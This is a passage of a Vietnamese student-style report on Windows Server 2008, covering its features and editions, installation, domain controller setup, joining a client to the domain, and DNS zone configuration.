  • 20. 8 2.Windows Server 2008 Giới thiệu về mô hình Client-Server Điều đáng ngạc nhiên là nhiều công ty ngày nay vẫn không quan tâm đến việc thực hiện một mạng lưới client/server. Thay vào đó họ chỉ tiếp tục thêm vào các máy trạm để thực hiện mô hình mạng peer-to-peer. Mạng peer-to-peer không cung cấp cho bạn nhiều cách bảo mật và chia sẽ tài nguyên. Vì vậy, không có gì ngạc nhiên khi họ thường có vấn đề với việc truy cập vào máy trạm, bị mất dữ liệu do virus, spyware hay phải trải nghiệm việc internet bị gián đoạn. Máy tính nối mạng theo mô hình peer-to-peer là đủ khi bạn chỉ có một vài người dung trên mạng, nhưng khi có nhiều hơn 5 hoặc 6 người sử dụng trên mạng của bạn, bạn thực sự phải xem xét đầu tư một máy chủ mạng.Vậy lợi ích của mô hình Client-Server cụ thể là gì? - Tập tin và an ninh mạng: Vai trò quan trọng nhất của một máy chủ tập tin là an ninh mạng mà nó cung cấp. Bằng cách tạo ra các tài khoản người dùng cá nhân và nhóm, có thể cấp quyền cho nhóm và cá nhân khai thác dữ liệu được lưu trữ trên mạng, ngăn chặn người sử dụng trái phép truy cập tài liệu mà họ không nên xem. Ví dụ, trong Folder chung thì group ketoan và group nhansu có quyền truy cập ủa nhân viên… - Tăng độ tin cậy, giảm sự gián đoạn công việc: Nhiều máy chủ được trang bị nguồn điện dự phòng. Với một nguồn cung cấp năng lượng thứ cấp chạy song song, sự mất mát của một trong những nguồn cung cấp điện không ảnh hưởng đến hoạt động hệ thống bình thường. Cũng vậy với hệ thống lưu trữ của máy chủ. Không giống như một máy tính để bàn trung bình có sử dụng một ổ cứng duy nhất, một máy chủ sẽ thường sử dụng nhiều ổ đĩa cứng làm việc trong một RAID cấu hình để ngăn ngừa mất dữ liệu hoặc một sự gián đoạn trong quy trình làm việc. Ngoài ra, nhiều máy chủ cũng được trang bị ổ đĩa cứng hot swappable và nguồn cung cấp điện. Các thành phần này có thể thay thế nóng cho phép bạn thay thế phần cứng bị lỗi mà không gián đoạn toàn bộ văn phòng. Ngoài ra, kể từ khi tất cả các dữ liệu nhân viên đang được lưu trữ trên mạng, nếu máy trạm của người dùng không giữa ngày làm việc, nhân viên có thể truy cập các tập tin tương tự từ máy trạm khác.
  • 21. 9 - Tập trung lưu trữ dữ liệu và tài nguyên chia sẻ: Với một máy chủ mạng, tất cả người dùng trên mạng có thể sử dụng các tài nguyên mạng khác nhau ngay từ bàn làm việc, tăng hiệu quả. Một số trong những nguồn tài nguyên bao gồm: o Tập trung lưu trữ dữ liệu ( RAID Array ) o Network Attached Storage (NAS) thiết bị o Tháp đĩa CD / DVD o Máy in và máy chủ Fax - Quản lý virus : Một trong những mối đe dọa lớn nhất đối với mạng của bạn là khả năng lây nhiễm từ virus, phần mềm gián điệp và thư rác. Vì vậy, có tốt, cập nhật, phần mềm chống virus được cài đặt trên hệ thống của bạn là một điều cần thiết. Trong một văn phòng của 10 người hoặc ít hơn, hệ thống có thể được duy trì riêng. Bất cứ điều gì nhiều hơn thế, tuy nhiên, có thể trở thành một gánh nặng thực sự. Trong những trường hợp này, một gói phần mềm chống virus kết hợp máy trạm và bảo vệ chống virus máy chủ vào một giải pháp duy nhất có ý nghĩa hơn. - Sao lưu tập trung: Tất cả các doanh nghiệp nên sao lưu dữ liệu của họ một cách thường xuyên. Bởi có tất cả các công ty của bạn và dữ liệu nhân viên được lưu trữ tại một địa điểm, bản sao lưu có thể được thực hiện đáng tin cậy và nhanh chóng. Vì vậy, bạn sẽ không bao giờ cần phải lo lắng về những dữ liệu được lưu trữ trên những gì máy trạm như bạn làm trong một mạng peer-to-peer. Ngày nay, hầu hết các loại phương tiện truyền thông có thể được sử dụng cho mục đích sao lưu. Ngoài các ổ đĩa truyền thống băng, đĩa CD, DVD, lưu trữ và thậm chí loại bỏ Network Attached Storage (NAS) thiết bị này là chấp nhận được. Sự lựa chọn của bạn của phương tiện truyền thông sẽ phụ thuộc vào yêu cầu cụ thể của bạn sao lưu. Tùy thuộc vào ngân sách của bạn và nhu cầu lưu giữ dữ liệu của bạn, bất kỳ trong số này sẽ là một giải pháp chấp nhận được. Hãy chắc chắn rằng bạn có ít nhất một bản sao lưu hàng tuần theo lịch trình, mặc dù hàng ngày sẽ tốt hơn.
  • 22. 10 CHƯƠNG 3:TỔNG QUAN VỀ WINDOWS SERVER 2008 I. GIỚI THIỆU WINDOWS SERVER 2008 Microsoft Windows Server 2008 là thế hệ kế tiếp của hệ điều hành Windows Server, có thể giúp các chuyên gia công nghệ thông tin có thể kiểm soát tối đa cơ sở hạ tầng của họ và cung cấp khả năng quản lý và hiệu lực chưa từng có, là sản phẩm hơn hẳn trong việc đảm bảo độ an toàn, khả năng tin cậy và môi trường máy chủ vững chắc hơn các phiên bản trước đây. Windows Server 2008 cung cấp những giá trị mới cho các tổ chức bằng việc bảo đảm tất cả người dùng đều có thể có được những thành phần bổ sung từ các dịch vụ từ mạng. Windows Server 2008 cũng cung cấp nhiều tính năng vượt trội bên trong hệ điều hành và khả năng chuẩn đoán, cho phép các quản trị viên tăng được thời gian hỗ trợ cho các doanh nghiệp. Windows Server 2008 được thiết kế để cung cấp cho các tổ chức có được nền tảng sản xuất tốt nhất cho ứng dụng, mạng và các dịch vụ web từ nhóm làm việc đến những trung tâm dữ liệu với tính năng động, tính năng mới có giá trị và những cải thiện mạnh mẽ cho hệ điều hành cơ bản. Cải thiện hệ điều hành cho máy chủ Windows.Thêm vào tính năng mới, Windows Server 2008 cung cấp nhiều cải thiệm tốt hơn cho hệ điều hành cơ bản so với hệ điều hành Windows Server 2003. Những cải thiện có thể thấy được gồm có các vấn đề về mạng, các tính năng bảo mật nâng cao, truy cập ứng dụng từ xa, quản lý role máy chủ tập trung, các công cụ kiểm tra độ tin cậy và hiệu suất, nhóm chuyển đổi dự phòng, sự triển khai và hệ thống file
  • 23. 11 II. CÁC TÍNH NĂNG CỦA WINDOWS SERVER 2008 1. Công cụ quản trị Server Manager Server Manager là một giao diện điều khiển được thiết kế để tổ chức và quản lý một server chạy hệ điều hành Windows Server 2008. Người quản trị có thể sử dụng Server Manager với những nhiều mục đích khác nhau. - Quản lý đồng nhất trên một server - Hiển thị trạng thái hiện tại của server - Nhận ra các vấn đề gặp phải đối với các role đã đƣợc cài đặt một cách dễ dàng hơn - Quản lý các role trên server, bao gồm việc thêm và xóa role - Thêm và xóa bỏ các tính năng - Chẩn đoán các dấu hiệu bất thường - Cấu hình server: có 4 công cụ (Task Scheduler, Windows Firewall, Services và WMI Control). - Cấu hình sao lưu và lưu trữ: các công cụ giúp bạn sao lưu và quản lý ổ đĩa là Windows Server Backup và Disk Management đều nằm trên Server Manager. 2. Windows Server Core - Server Core là một tính năng mới trong Windows Server 2008. Nó cho phép có thể cài đặt với mục đích hỗ trợ đặc biệt và cụ thể đối với một số role. - Tất cả các tương tác với Server Core được thông qua các dòng lệnh. Server Core mang lại những lợi ích sau: +Giảm thiểu được phần mềm, vì thế việc sử dụng dung lượng ổ đĩa cũng được giảm. Chỉ tốn khoảng 1GB khi cài đặt. + Bởi vì giảm thiểu được phần mềm nên việc cập nhật cũng không nhiều. + Giảm thiểu tối đa những hành vi xâm nhập vào hệ thống thông qua các port được mở mặc định. + Dễ dàng quản lý. - Server Core không bao gồm tất cả các tính năng có sẵn trong những phiên bản cài đặt Server khác. Ví dụ như .NET Framework hoặc Internet Explorer.
  • 24. 12 3. PowerShell - PowerShell là một tập hợp lệnh. Nó kết nối những dòng lệnh shell với một ngôn ngữ script và thêm vào đó hơn 130 công cụ dòng lệnh(được gọi là cmdlets).Hiện tại, có thể sử dụng PowerShell trong: + Exchange Server + SQL Server + Terminal Services + Active Directory Domain Services. + Quản trị các dịch vụ, xử lý và registry. - Mặc định, Windows PowerShell chưa được cài đặt. Tuy nhiên bạn có thể cài đặt nó một cách dễ dàng bằng cách sử dụng công cụ quản trị Server Manager và chọn Features > Add Features 4. Windows Deloyment Services. - Windows Deployment Services được tích hợp trong Windows Server 2008 cho phép bạn cài đặt hệ điều hành từ xa cho các máy client mà không cần phải cài đặt trực tiếp. WDS cho phép bạn cài đặt từ xa thông qua Image lấy từ DVD cài đặt. Ngoài ra, WDS còn hỗ trợ tạo Image từ 1 máy tính đã cài đặt sẵn Windows và đầy đủ các ứng dụng khác. - Windows Deployment Serviece sử dụng định dạng Windows Image (WIM). Một cải tiến đặc biệt với WIM so với RIS là WIM có thể làm việc tốt với nhiều nền tảng phần cứng khác nhau. 5. Terminal Services. - Terminal Services là một thành phần chính trên Windows Server 2009 cho phép user có thể truy cập vào server để sử dụng những phần mềm. - Terminal Services giúp người quản trị triển khai và bảo trì hệ thống phần mềm trong doanh nghiệp một cách hiệu quả. Người quản trị có thể cài đặt các chương trình phần mềm lên Terminal Server mà không cần cài đặt trên hệ thống máy client, vì thế việc cập nhật và bảo trì phần mềm trở nên dễ dàng hơn. - Terminal Services cung cấp 2 sự khác biệt cho người quản trị và người dùng cuối - Dành cho người quản trị: cho phép quản trị có thể kết nối từ xa hệ thống quản trị bằng việc sử dụng Remote Desktop Connection hoặc Remote Desktop.
  • 25. 13 - Dành cho người dùng cuối: cho phép người dùng cuối có thể chạy các chương trình từ Terminal Services server. 6. Network Access Protection - Network Access Protection (NAP) là một hệ thống chính sách thi hành (Health Policy Enforcement) được xây dựng trong các hệ điều hành Windows Server 2008. - Cơ chế thực thi của NAP: + Kiểm tra tình trạng an toàn của client. + Giới hạn truy cập đối với các máy client không an toàn. + NAP sẽ cập nhật những thành phần cần thiết cho các máy client không an toàn, cho đến khi client đủ điều kiện an toàn.Cho phép client kết nối nếu client đã thỏa điều kiện. + NAP giúp bảo vệ hệ thống mạng từ các client. + NAP cung cấp bộ thư viên API (Application Programming Interface), cho phép các nhà quản trị lập trình nhằm tăng tính bảo mật cho mình 7. Read-Only Domain Controllers Read-Only Domain Controller (RODC) là một kiểu Domain Controller mới trên Windows Server 2008.Với RODC, doanh nghiệp có thể dễ dàng triển khai các Domain Controller ở những nơi mà sự bảo mật không được đảm bảo về bảo mật. RODC là một phần dữ liệu của Active Directory Domain Services. Vì RODC là một phần dữ liệu của ADDS nên nó lưu trữ mọi đối tượng, thuộc tính và các chính sách giống như domain controller, tuy nhiên mật khẩu thì bị ngoại trừ. 8. Công nghệ Failover Clustering. Clustering là công nghệ cho phép sử dụng hai hay nhiều server kết hợp với nhau để tạo thành một cụm server để tăng cường tính ổn định trong vận hành.Nếu server này ngưng hoạt động thì server khác trong cụm sẽ đảm nhận nhiệm vụ mà server ngưng hoạt động đó đang thực hiện nhằm mục đích hoạt động của hệ thống vẫn bình thường.Quá trình chuyên giao gọi là fail-over. Những phiên bản sau hỗ trợ:  Windows Server 2008 Enterprise
  • 26. 14  Windows Server 2008 Datacenter  Windows Server 2008 Itanium 9. Windows Firewall with Advance Security  Windows Firewall with Advance Security cho phép người quản trị có thể cấu hình đa dạng và nâng cao để tăng cường tính bảo mật cho hệ thống.  Windows Firewall with Advance Security có những điểm mới:  Kiểm soát chặt chẽ các kết nối vào và ra trên hệ thống (inbound và outbound)  IPsec được thay thế bằng khái niệm Connection Security Rule, giúp bạn có thể kiểm soát và quản lý các chính sách, đồng thời giám sát trên firewall. Kết hợp với Active Directory.  Hỗ trợ đầy đủ IPv6. III. MỘT SỐ TÍNH NĂNG MỚI CỦA WINDOWS SERVER 2008 1. Công nghệ ảo hóa Hyper-V Hyper-V là công nghệ ảo hóa server thế hệ mới của Microsoft, sự thay đổi lớn nhất mà Microsoft mang lại so với phiên bản Windows Server 2003. Hyper-V hoạt động trên nền hệ điều hành 64-bit. Với Hyper-V,người sử dụng có thể sở hữu một nền tảng ảo hóa linh hoạt, bảo mật, tối đa hiệu suất và tiết kiệm chi phí:  Hyper-V có thể thích nghi với doanh nghiệp lớn với hàng nghìn máy tính hoặc các doanh nghiệp nhỏ hay văn phòng chi nhánh. Hyper-V hỗ trợ bộ nhớ ảo lên đến 64GB, đa bộ vi xử lý.  Khả năng bảo mật giống như các server vật lý. Kết hợp các cộng cụ bảo mật Windows Firewall, Network Access Protection… do đó tính bảo mật tốt như môi trường thật.  Hyper-V giúp khai thác tối đa hiệu suất sử dụng phần cứng server. Bằng việc hợp nhất server, cho phép một server vật lý có thể đóng nhiều vai trò của nhiều server. Từ đó, tiết kiệm được chi phí từ các khoảng mua server, điện, không gian và bảo trì. Hyper-V chỉ có thể hỗ trợ đến 32 bộ vi xử lý. 2. Processor Compatibility Mode Cho phép di trú các máy ảo sang một máy chủ vật lý khác với một phiên bản CPU khác (nhưng không phải là CPU của nhà sản xuất khác). Trước đây, để
  • 27. 15 chuyển một máy ảo Hyper-V sang một phần cứng khác, các CPU phải giống nhau, điều đó yêu cầu người dùng thường phải mua lại phần cứng mới. 3. File Classification Infrastructure FCI là một tính năng built-in cho phép các chuyên gia CNTT phân loại và quản lý dữ liệu trong các máy chủ file. Dữ liệu có thể được phân loại với tác động doanh nghiệp mức thấp, cao hoặc trung bình, sau đó người dùng có thể backup các dữ liệu quan trọng nhất dễ dàng hơn và hiệu quả hơn. 4. Quản lý trong ỗ đĩa và file:  Cung cấp khả năng thay đổi kich thước phân vùng.  Shadow Copy hỗ trợ ổ đĩa quang, ổ đĩa mạng.  Distributed File System được cải tiến.  Cải tiến Failover Clustering.  Internet Storage Naming Server cho phép đăng ký, hủy đăng ký tập trung và truy xuất tới các ổ đĩa cứng iSCS. 5. Cải tiến giao thức và mã hóa o Hỗ trợ mã hóa 128 và 256 bit cho giao thức chứng thực Keberos. o Hàm API mã hóa mới hỗ trợ mã hóa vòng elip và cải tiến quản lý chứng chỉ. o Giao thức VPN mới Secure Socket Tunneling Protocol. o AuthIP được sử dụng trong mạng VPN Ipsec. o Giao thức Server Message Block 2.0 cung cấp các cải tiến trong truyền thông. 6. Một số tính năng khác  Windows Deployment Services thay thế cho Automated Deployment Services và Remote Installation Services.  IIS 7 thay thế IIS 6, tăng cường khả năng bảo mật, cải tiến công cụ chuẩn đoán, hỗ trợ quản lý.  Có thành phầ "Desktop Experience" cung cấp khả năng cải tiến giao diện. IV. CÁC LỢI ÍCH CỦA WINDOWS SERVER 2008 Windows Server 2008 mang đến lợi ích trong bốn lĩnh vực:Web, Ảo hóa, Bảo mật, Nền tảng vững chắc cho các hoạt động của tổ chức
  • 28. 16 1. Web Windows Server 2008 cung cấp một nền tảng đồng nhất để triển khai dịch vụ Web nhờ tích hợp IIS7.0,ASP.NET,Windows Communication Foundation và Microsoft Windows SharePoint Services. Lợi ich của IIS 7.0:  Tinh năng phân tích  Quản trị hiệu quả.  Nâng cao tính bảo mật.  Giảm chi phí hỗ trợ.  Giao diện thân thiện và tiện dụng  Hỗ trợ việc sao chép giữa các site.  Copy dễ dàng các thiết lập của trang web giữa các máy chủ web khác nhau mà không cần phải thiết lập gì thêm.  Chính sách phân quyền quản trị các ứng dụng và các site rõ ràng 2. Ảo hóa : Phiên bản 64 bit của Windows Server 2008 được tích hợp sẵn công nghệ ảo hóa hypervisor :  Cho phép máy ảo tương tác trực tiếp với phần cứng máy chủ hiệu quả hơn.  Có khả năng ảo hóa nhiều hệ điều hành khác nhau trên cùng 1 phần cứng máy chủ sẽ làm giảm chi phí, tăng hiệu suất sử dụng phần cứng, tối ưu hóa hạ tầng, nâng cao tính sẵn sàng của máy chủ.  Tiết kiệm chi phí mua sắm bản quyền phần mềm.  Tich hợp và tập trung các ứng dụng phục vụ cho việc truy cập từ xa một cách dễ dàng bằng cách sử dụng Terminal Services. 3. Bảo mật: Các tính năng an ninh bao gồm: Network Access Protection, Read-Only Domain Controller, BitLocker, Windows Firewall… cung cấp các mức bảo vệ chưa từng có cho hệ thống mạng, dữ liệu và công việc của tổ chức. 3.1. Network Access Protection (NAP):  NAP dùng để thiết lập chính sách mạng đối với các máy trạm khi máy trạm đó muốn kết nối váo hệ thống mạng của tổ chức. Yêu cầu an ninh đối với máy trạm được kết nối với hệ thống mạng:
  • 29. 17  Đã cài đặt phầm mềm diệt virus.  Đã cập nhật phiên bản mới.  Đã cài đặt các bản và lỗi hệ thống hoặc đã cài đặt phần mềm firewall. 3.2. Read-Only Domain Controller (RODC): Là một kiểu Domain Controller (DC). - RODC chứa một bản sao các dữ liệu "chỉ đọc" của dữ liệu Active Directory (AD). - User không thẻ ghi trực tiếp vào RODC. - RODC không chứa thông tin về mật khẩu trong AD, mà chỉ caching các users được phép sử dụng ở đó.  RODC thích hợp cho việc triển khai ở các chi nhánh, nơi có điều kiện bảo mật kém cũng như trình độ của nhân viên IT còn hạn chế. 3.3. BitLocker: o Bảo vệ an toàn cho máy chủ, máy trạm, máy tính di động. o Mã hóa nội dung của ổ đĩa nhằm ngăn cản o Nâng cao khả năng bảo vệ dữ liệu: kết hợp chức năng mã hóa tập tin hệ thống và kiểm tra tinh toàn vẹn của các thành phần khi boot. o Toàn bộ tập tin hệ thống được mã hóa, gồm cả file swap và file hibernation. 3.4. Windows Firewall:  Ngăn chặn các lưu lượng mạng theo cấu hình và các ứng dụng dạng chạy để bảo vệ mạng khỏi các chương trình và người dùng nguy hiểm.  Hỗ trợ ngăn chặn các thông tin vào và ra.  Sử dụng MMC snap-in ( Windows Firewall with Adbanced Security) để đơn giản hóa việc cấu hình, quản trị. V. CÁC PHIÊN BẢN CỦA WINDOWS SERVER 2008 1. Windows Server 2008: ứng dụng cho các trung tâm data lớn, ứng dụng nghiệp vụ riêng,... khả năng mở rộng cao cho tới 64 bộ xử lý. 2. Windows Server 2008 Standard Edition Windows Server 2008 Standard là một trong những phiên bản ít tốn kém nhất của các phiên bản khác nhau có sẵn. Windows Server 2008 Stardard hỗ trợ tới 4GB RAM và 4 bộ vi xử lý
  • 30. 18 Chủ yếu nhắm mục tiêu và các doanh nghiệp vừa và nhỏ. Chỉ có thể nâng cấp lên Windows Server 2008 Standard từ Windows 2000 Server và Windows Server 2003 Standard Edition. 3. Windows Server 2008 Enterprise Edition Windows Server 2008 Enterprise Edition cung cấp chức năng lớn hơn và có khả năng mở rộng hơn so với bản tiêu chuẩn. Cũng như phiên bản Standard Edition thì phiên bản Enterprise cũng có cả hai phiên bản 32-bit và 64-bit. Hỗ trợ 8 bộ xử lý và lên tới 64GB bộ nhớ RAM trên hệ thống 32-bit và 2TB RAM trên hệ thống 64-bit. Các tính năng khác của ấn bản Doanh nghiệp bao gồm hỗ trợ Clustering đến 8 nút và Active Directory Federated Services (AD FS). Các phiên bản Windows Server 2000, Windows 2000 Advanced Server, Windows Server 2003 Standard Edition và Windows Server 2003 Enterprise Edition đều có thể được nâng cấp lên Windows Server 2008 Enterprise Edition. 4. Windows Server 2008 Datacenter Edition Phiên bản Datacenter đại diện cuối cùng của loạt sản phẩm máy chủ Windows 2008 và mục tiêu là nhiệm vụ quan trọng đòi hỏi các doanh nghiệp ổn định và mức độ thời gian hoạt động cao. Windows Server 2008 phiên bản Datacenter là liên hệ chặt chẽ với các phần cứng cơ bản thông qua việc thực hiện tùy chỉnh Hardware Abstraction Layer (HAL). Windows server 2008 Datacenter cũng hỗ trợ hai phiên bản 32 bit và 64 bit. Nó hỗ trợ 64GB bộ nhớ RAM trên nền 32 bit và lên tới 2TB RAM trên nền 64 bít. Ngoài ra phiên bản này còn hỗ trợ tối thiểu là 8 bộ vi xử lý và tối đa là 64. Để nâng cấp lên phiên bản này thì phải là các phiên bản Datacenter 2000 và 2003.
  • 31. 19 CHƯƠNG 4: CÀI ĐẶT WINDOWS SERVER 2008 I. YÊU CẦU PHẦN CỨNG Phần cứng Yêu cầu tối thiểu Đề nghị Bộ vi xử lý 1 Ghz (x86), 1,4 Ghz (x64) 2Ghz hoặc lớn hơn RAM 512MB RAM 2GB Dung lượng trống 15GB 40GB Windows Server 2008 hỗ trợ cả 2 cấu trúc vi xử lý 32-bit và 64-bit. Tuy nhiên, phiên bản mới nhất là Windows Server 2008 R2, Windows Midmarket Server và Windows Small Business với những tính năng đa dịch vụ, các phiên bản này chỉ hỗ trợ cấu trúc vi xử lý 64-bit. RAM hỗ trợ tối đa cho hệ thống 32-bit là 4GB khi chạy phiên bản Standard Edition và 64GB khi chạy phiên bản Enterprise và Datacenter. Nếu chạy hệ thống 64-bit, bộ nhớ RAM có thể hỗ trợ lên dến 32GB và 2TB RAM cho phiên bản Enterprise và Datacenter. Thêm vào đó, Windows Server 2008 hỗ trợ hệ thống Itanium, tuy nhiên chip xử lí Intel Itanium 2 nhân là cần thiết. II. CÁC CÁCH CÀI ĐẶT Có 6 cách cài đặt Windows Server 2008  Tự cài đặt các nâng cấp  Cài đặt từ kịch bản  Sử dụng Sconfig  Visual Core Configurator 2008  Cài đặt bằng cách sử dụng Core Configurator 2.0  Cài đặt trực tiếp từ đĩa CD Windows Server 2008 III. NÂNG CẤP LÊN WINDOWS SERVER 2008 Những phiên bản trước Nâng cấp lên Windows Server 2008 Microsoft Windows Server 2003 R2 Standard, Enterprise hoặc DatacenterEdition Hỗ trợ đầy đủ
  • 32. 20 Microsoft Windows Server 2003 Service Pack 1(SP1) Standard, Enterprise hoặc Datacenter Edition Hỗ trợ đầy đủ Microsoft Windows Server 2003 Service Pack 2 (SP2) Standard, Enterprise hoặc Datacenter Edition Hỗ trợ đầy đủ Windows NT 4.0 Không hỗ trợ Windows 2000 Server Không hỗ trợ Windows XP Không hỗ trợ Windows Vista Không hỗ trợ Windows 7 Không hỗ trợ Để nâng cấp lên phiên bản Windows Server 2008, cần phải chạy các hệ điều hành ở cấp độ server. Không thể nâng cấp các phiên bản Windows dành cho người dùng như Windows XP hoặc Windows Vista lên Windows Server 2008. Để nâng cấp lên Windows Server 2008, hệ thống của bạn phải chạy Windows Server 2003. Việc nâng cấp từ Windows NT 4.0 và Windows 2000 Server không được hỗ trợ. Việc nâng cấp từ những phiên bản Windows Server 2003 lên phiên bản Windows Server 2008 Server Core không được hỗ trợ. Việc nâng cấp chỉ thực hiện được ở những phiên bản giống nhau. Khi nâng cấp lên phiên bản Windows Server 2008, mọi cấu hình thiết lập, file và các chương trình đều được giữ lại IV. CÀI ĐẶT WINDOWS SERVER 2008 Đặt đĩa CD vào ổ đĩa, khởi động lại máy tính và bắt đầu tiến hành quá trình cài đặt. Language to install : ngôn ngữ bạn muốn hiển thị. Time and currency format : định dạng thời gian và tiền tệ.
  • 33. 21 Keyboard or input method : định dạng bàn phím và phương thức nhập chữ.Sau khi lựa chọn, click Next để tiếp tục cài đặt. Click Install now để bắt đầu cài đặt. Hình 1 Lựa chọn phiên bản cài đặt. Hình 2 Lựa chọn phiên bản Windows Server thích hợp, ở đây chúng ta chọn phiên bản Windows Server Standard without Hyper-V. Click Next để tiếp tục.
  • 34. 22 Tại bảng MICROSOFT PRE-RELEASE SOFTWARE LICENSE TERMS là những điều khoản sử dụng sản phẩm của Microsoft. Đánh dấu chọn vào I accept the license terms để chấp nhận những điều khoản đó và click Next để tiếp tục. Hình 3 Chọn Custom (advaneced) để tiến hành cài đặt tùy chọn. Hình 4
  • 35. 23 Tiếp theo là chọn ổ đĩa để cài dặt Windows. Tiếp tục click Next sau khi đã chọn ổ đĩa cài đặt. Hình 5 Đợi cho đến khi hoàn tất cài đặt Windows Server 2008, đây là giao diện windows server 2008 khi cài xong. Hình 6
  • 36. 24 CHƯƠNG 5: DỰNG DOMAIN CONTROLLER Giống như Windows Server 2003 sẽ vẫn cần chạy dcpromo từ nhắc lệnh Run, tuy nhiên cần phải cài đặt Active Directory Domain Controller role, đầu tiên bạn cài đặt role, sau đó chạy dcpromo.Vào Server ManagerRolesAdd Roles Hình 5.1 Xuất hiện trang Before You Begin, nhấn Next để tiếp tục. Chọn Active Directory Domain ServicesAdd Required Features để cài đặt thêm các tính năng này với Active Directory Server Role. Sau khi chọn Active Directory DC Server Role, bạn sẽ thấy các thông tin về Server Role.
  • 37. 25 Kích Install để cài đặt các file yêu cầu nhằm chạy dcpromo Hình 5.2 Cài đặt được thực hiện thành công. Chọn Close. Hình 5.3 Trong bài này, chúng ta sẽ sử dụng 2 máy. PC1: Là máy sử dụng Windows Server 2008. PC2: Là máy sử dụng Client sử dụng Windows 7. Quá trình cài đặt sẽ trải qua 2 bước chính: Bước 1: Chỉnh Preferred DNS - Ở bước này chúng ta sẽ chỉnh Preferred DNS về chính máy tính của chúng ta, ở đây là ip 192.168.1.1.
  • 38. 26 Hình 5.4 Trong trường hợp giả sử chúng ta quên làm bước này, thì quá trình nâng cấp vẫn diễn ra bình thường, và Windows sẽ tự chỉnh Preferred DNS về địa chỉ 192.168.1.1 Nhưng tốt nhất các bạn nên làm bước chỉnh này Bước 2: Nâng cấp lên Domain Controller - Bạn vào Start-> Chọn Run, gõ dcpromo và Enter, sau đó lần lượt làm theo các bước sau: Thao tác này sẽ khởi chạy Welcome to the Active Directory Domain Service Installation Wizard. Kích Next.
  • 39. 27 Hình 5.5 Sau đó tiếp tục nhấn Next. Trong trang Choose a Deployment Configuration Create a new domain in a new forest.. Hình 5.6
  • 40. 28 Trong trang Name the Forest Root Domain, nhập vào tên của miền trong hộp nhập liệu FQDN of the forest room domain.Nhấn Next để tiếp tục. Hình 5.7 Nhấn Next để tiếp tục. Trong trang Set Forest Functional Level, chọn Windows Server 2008. Nhấn Next để tiếp tục. Hình 5.8 Trong trang Additional Domain Controller Options, Chọn DNS server và kích Next.
  • 41. 29 Hình 5.9 Một hộp thoại sẽ xuất hiện nói răng không thể tạo đại biểu cho máy chủ DNS này vì không thể tìm thấy vùng xác thực hoặc nó không chạy Windows DNS server. Lý do cho điều này là vì đây là DC đầu tiên trên mạng. Nhấn Next để tiếp tục. Hình 5.10 Để lại thư mục Database, Log Files và SYSVOL ,kích Next.
  • 42. 30 Hình 5.11 Trong Directory Service Restore Mode Administrator Password, nhập một mật khẩu mạnh vào các hộp nhập liệu Password và Confirm password. Hình 5.12 Xác nhận các thông tin trên trang Summary và kích Next.
  • 43. 31 Hình 5.13 Active Directory sẽ cài đặt. Đặt một dấu kiểm vào hộp chọn Reboot on completion để máy tính sẽ tự động khởi động lại khi cài đặt DC được hoàn tất. Hình 5.14
  • 44. 32 CHƯƠNG 6: JOIN DOMAIN Chỉnh ip của máy Windows 7 sao cho cùng địa chỉ của lớp mà ta đã chọn ở máy Server. Gateway và DNS trỏ về địa chỉ ip của máy Server. Hình 6.1 Vào Start click phải computer chọn properties. Chọn computer name -> change settings-> nhập tên domain của máy server vào. Hình 6.2
  • 45. 33 Nhập Administrator và pass. Hình 6.3 Click OK. Hình 6.4
  • 46. 34 CHƯƠNG 7: TRIỂN KHAI CÁC DỊCH VỤ MẠNG I. DỊCH VỤ DNS 1. Giới thiệu về DNS DNS (Domain Name System) Server là máy chủ được dùng để phân giải domain thành địa chỉ IP và ngược lại. Về cách thức hoạt động, DNS Server lưu trữ một cơ sở dữ liệu bao gồm các bản ghi DNS và dịch vụ lắng nghe các yêu cầu.Khi máy client gửi yêu cầu phân giải đến, DNS Server tiến hành tra cứu trong cơ sở dữ liệu và gửi kết quả tương ứng về máy client. 2. Cài đặt DNS Vào Server Manager  Roles Add Roles.Tại bảng Select Server Roles, chọn DNS Server Hình 2.1 - Sau đó nhấn Next để tiếp tục - Chọn Instal. Tại bảng Confirm Installation Selections xác nhận việc cài đặt.
  • 47. 35 Hình 2.2 - Chọn Close để hoàn tất cài đặt. Hình 2.3 3. Cấu hình DNS - Đối với DNS Server,thông thường nên xây dựng đồng thời hai hệ thống là DNS Server chính (Primary) và DNS Server dự phòng (Secondary) dùng chung một cơ sở dữ liệu. Với phương pháp này,sẽ hạn chế khả năng dịch vụ DNS bị ngưng khi có sự cố xảy ra trên hệ thống.
  • 48. 36 - Vào Start Administrative Tools DNS. - Nhấp chuột phải vào Forward Lookup Zones và chọn New Zone. Hình 3.1 -Trong New Zone Wizard chọn next, - Tại bảng Zone Type chọn Primary zone để cấu hình DNS Server chính. hình 3.2 - Chọn Next. Tại bảng Zone Name gõ tên domain vào.
  • 49. 37 Hình 3.3 - Chọn Next. Tại bảng Zone File, ta chọn alow both nonsecure and secure dynamic updates. Chọn Next. Hình 3.4
  • 50. 38 - Chọn Next. Tại bảng Completing the New Zone Wizard xem lại thông tin. - Sau đó chọn Finish để hoàn tất. - Nhấp chuột phải vào ReverseLookup Zones và chọn New Zone. Hình 3.5 - Tại bảng Welcome to the New Zone Wizard chọn Next. - Tại bảng Zone Type chọn Primary zone để cấu hình chức năng reverse cho DNS Server chính. Hình 3.6 - Chọn Next.Tại bảng Reverse Lookup Zone Name chọn kiểu IP cần phân giải. Ở đây chọn IPv4.
  • 51. 39 Hình 3.7 - Chọn Next. Điền Network ID và chọn Next. Hình 3.8
  • 52. 40 - Tại bảng Zone File để mặc định. Chọn Next. - Tại bảng Dynamic Update chọn Allow both nonsecure dynamic updates. Hình 3.9 - Chọn Next và xem lại thông tin thiết lập, và sau đó chọn Finish để kết thúc. Bổ sung các bản ghi DNS vào DNS Server - Start Administrative Tools DNS. Nhấp chuột phải vào zone và chọn New - Gõ tên host vào mục Name, gõ địa chỉ IP vào mục IP address. Nếu muốn tạo ra một bản ghi DNS phân giải ngược tương ứng thì đánh dấu chọn Create associated pointer (PTR) record.
  • 53. 41 Hình 3.10 - Sau đó chọn Add Host.Xuất hiện thông báo thành công. - Tương tự ta tạo thêm new host máy win xp. Hình 3.11 Kiểm tra bằng cách vào start -> run -> CMD. Cửa sổ CMD hiện lên ta gõ nslookup.
